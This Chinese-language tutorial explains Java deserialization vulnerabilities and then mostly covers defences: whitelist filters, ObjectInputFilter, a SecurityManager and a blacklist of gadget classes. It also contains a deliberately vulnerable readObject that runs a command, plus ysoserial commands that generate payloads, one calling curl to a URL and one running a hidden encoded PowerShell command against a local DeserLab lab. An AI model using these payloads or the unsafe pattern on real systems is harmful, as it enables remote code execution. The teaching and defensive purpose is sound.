Java反序列化漏洞从入门到深入
字数 1968 2025-08-29 08:32:00
Java反序列化漏洞从入门到深入
前言
Java反序列化漏洞是近年来影响范围最广、危害最大的漏洞类型之一,从2015年影响WebSphere、JBoss、Jenkins、WebLogic等大型框架的Apache Commons Collections反序列化远程命令执行漏洞,到2017年末WebLogic XML反序列化引起的挖矿风波,反序列化漏洞一直在持续影响各类Java应用。
序列化与反序列化基础
什么是序列化和反序列化
Java序列化是将对象的状态信息转换为可以存储或传输的形式的过程,反序列化则是将序列化后的数据恢复为对象的过程。主要应用场景包括:
- 对象持久化存储
- 网络通信
- 数据传输
- 远程方法调用(RMI)
序列化实现
一个类要实现序列化,必须满足两个条件:
- 实现
java.io.Serializable接口 - 所有属性必须是可序列化的,或者使用
transient关键字标记为非序列化
示例代码:
public class Employee implements java.io.Serializable {
public String name;
public String identify;
public void mailCheck() {
System.out.println("This is the "+this.identify+" of our company");
}
}
序列化操作
import java.io.*;
public class SerializeDemo {
public static void main(String [] args) {
Employee e = new Employee();
e.name = "员工甲";
e.identify = "General staff";
try {
FileOutputStream fileOut = new FileOutputStream("employee1.db");
ObjectOutputStream out = new ObjectOutputStream(fileOut);
out.writeObject(e);
out.close();
fileOut.close();
} catch(IOException i) {
i.printStackTrace();
}
}
}
反序列化操作
import java.io.*;
public class DeserializeDemo {
public static void main(String [] args) {
Employee e = null;
try {
FileInputStream fileIn = new FileInputStream("employee1.db");
ObjectInputStream in = new ObjectInputStream(fileIn);
e = (Employee) in.readObject();
in.close();
fileIn.close();
} catch(IOException i) {
i.printStackTrace();
return;
} catch(ClassNotFoundException c) {
System.out.println("Employee class not found");
c.printStackTrace();
return;
}
System.out.println("Deserialized Employee...");
System.out.println("Name: " + e.name);
System.out.println("This is the "+e.identify+" of our company");
}
}
反序列化漏洞原理
基本漏洞示例
import java.io.*;
public class test {
public static void main(String args[]) throws Exception {
UnsafeClass Unsafe = new UnsafeClass();
Unsafe.name = "hacked by ph0rse";
FileOutputStream fos = new FileOutputStream("object");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(Unsafe);
os.close();
FileInputStream fis = new FileInputStream("object");
ObjectInputStream ois = new ObjectInputStream(fis);
UnsafeClass objectFromDisk = (UnsafeClass)ois.readObject();
System.out.println(objectFromDisk.name);
ois.close();
}
}
class UnsafeClass implements Serializable {
public String name;
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
Runtime.getRuntime().exec("calc.exe"); // 漏洞点
}
}
漏洞起源
-
开发失误:
- 重写
ObjectInputStream的resolveClass方法中的检测可被绕过 - 使用第三方类进行黑名单控制不完善
- 重写
-
基础库中的隐藏漏洞:
- 常见危险基础库包括:
- commons-fileupload 1.3.1
- commons-io 2.4
- commons-collections 3.1
- commons-logging 1.2
- commons-beanutils 1.9.2
- org.slf4j:slf4j-api 1.7.21
- com.mchange:mchange-commons-java 0.2.11
- org.apache.commons:commons-collections 4.0
- com.mchange:c3p0 0.9.5.2
- org.beanshell:bsh 2.0b5
- org.codehaus.groovy:groovy 2.3.9
- org.springframework:spring-aop 4.1.4.RELEASE
- 常见危险基础库包括:
POP Gadgets
POP(Property-Oriented Programming)面向属性编程,类似于二进制利用中的ROP(Return-Oriented Programming)。POP Gadgets是指通过一系列对象属性调用链实现攻击的代码片段。
如何发现Java反序列化漏洞
白盒检测
-
查找反序列化函数调用点:
ObjectInputStream.readObjectObjectInputStream.readUnsharedXMLDecoder.readObjectYaml.loadXStream.fromXMLObjectMapper.readValueJSON.parseObject
-
检查Class Path中是否包含危险库
-
检查命令执行相关代码区域
黑盒检测
-
识别序列化数据特征:
- 通常以
AC ED 00 05开头 - 常见数据类型标识:
0x70- TC_NULL0x71- TC_REFERENCE0x72- TC_CLASSDESC0x73- TC_OBJECT0x74- TC_STRING0x75- TC_ARRAY0x76- TC_CLASS0x7B- TC_EXCEPTION0x7C- TC_LONGSTRING0x7D- TC_PROXYCLASSDESC0x7E- TC_ENUM
- 通常以
-
使用工具分析:
- SerializationDumper:解析序列化数据
java -jar SerializationDumper-v1.0.jar aced000573720008456d706c6f796565eae11e5afcd287c50200024c00086964656e746966797400124c6a6176612f6c616e672f537472696e673b4c00046e616d6571007e0001787074000d47656e6572616c207374616666740009e59198e5b7a5e794b2- ysoserial:生成攻击payload
java -jar ysoserial.jar CommonsCollections1 'curl " + URL + "'
环境测试示例
使用DeserLab模拟环境:
- 生成payload:
java -jar ysoserial.jar Groovy1 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc bQBrAGQAaQByACAAaABhAGMAawBlAGQAXwBiAHkAXwBwAGgAMAByAHMAZQA=" > payload2.bin
- 启动服务端:
java -jar DeserLab.jar -server 127.0.0.1 6666
- 使用exploit脚本攻击:
python deserlab_exploit.py 127.0.0.1 6666 payload2.bin
反序列化漏洞修复
1. 使用SerialKiller替换ObjectInputStream
// 使用SerialKiller替换ObjectInputStream
ObjectInputStream ois = new SerialKiller(fis, "/etc/serialkiller.conf");
2. 重写resolveClass方法
public class AntObjectInputStream extends ObjectInputStream {
public AntObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(SerialObject.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}
3. 使用ValidatingObjectInputStream
private static Object deserialize(byte[] buffer) throws IOException, ClassNotFoundException {
Object obj;
ByteArrayInputStream bais = new ByteArrayInputStream(buffer);
ValidatingObjectInputStream ois = new ValidatingObjectInputStream(bais);
ois.accept(SerialObject.class); // 白名单控制
obj = ois.readObject();
return obj;
}
4. 使用contrast-rO0
SafeObjectInputStream in = new SafeObjectInputStream(inputStream, true);
in.addToWhitelist(SerialObject.class);
in.readObject();
5. Java 9+使用ObjectInputFilter
class BikeFilter implements ObjectInputFilter {
private long maxStreamBytes = 78;
private long maxDepth = 1;
private long maxReferences = 1;
@Override
public Status checkInput(FilterInfo filterInfo) {
if (filterInfo.references() < 0 ||
filterInfo.depth() < 0 ||
filterInfo.streamBytes() < 0 ||
filterInfo.references() > maxReferences ||
filterInfo.depth() > maxDepth ||
filterInfo.streamBytes() > maxStreamBytes) {
return Status.REJECTED;
}
Class<?> clazz = filterInfo.serialClass();
if (clazz != null) {
if (SerialObject.class == filterInfo.serialClass()) {
return Status.ALLOWED;
} else {
return Status.REJECTED;
}
}
return Status.UNDECIDED;
}
}
6. 禁止执行外部命令
SecurityManager originalSecurityManager = System.getSecurityManager();
if (originalSecurityManager == null) {
SecurityManager sm = new SecurityManager() {
private void check(Permission perm) {
// 禁止exec
if (perm instanceof java.io.FilePermission) {
String actions = perm.getActions();
if (actions != null && actions.contains("execute")) {
throw new SecurityException("execute denied!");
}
}
// 禁止设置新的SecurityManager
if (perm instanceof java.lang.RuntimePermission) {
String name = perm.getName();
if (name != null && name.contains("setSecurityManager")) {
throw new SecurityException("System.setSecurityManager denied!");
}
}
}
@Override
public void checkPermission(Permission perm) {
check(perm);
}
@Override
public void checkPermission(Permission perm, Object context) {
check(perm);
}
};
System.setSecurityManager(sm);
}
7. 黑名单方式(不推荐)
// 常见危险类黑名单
private static final String[] blacklist = {
"org.apache.commons.collections.functors.InvokerTransformer",
"org.apache.commons.collections.functors.InstantiateTransformer",
"org.apache.commons.collections4.functors.InvokerTransformer",
"org.apache.commons.collections4.functors.InstantiateTransformer",
"org.codehaus.groovy.runtime.ConvertedClosure",
"org.codehaus.groovy.runtime.MethodClosure",
"org.springframework.beans.factory.ObjectFactory",
"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"org.apache.commons.fileupload",
"org.apache.commons.beanutils"
};
总结
Java反序列化漏洞影响范围广泛,从Web服务到安卓应用、桌面应用、中间件、工控组件等都可能存在此类漏洞。防御反序列化漏洞的关键在于:
- 严格控制反序列化操作的输入源
- 使用白名单机制限制可反序列化的类
- 及时更新基础库到安全版本
- 避免直接反序列化不可信数据
在实际开发和安全防护中,应优先考虑使用白名单机制,而非黑名单机制,因为黑名单难以覆盖所有可能的攻击向量。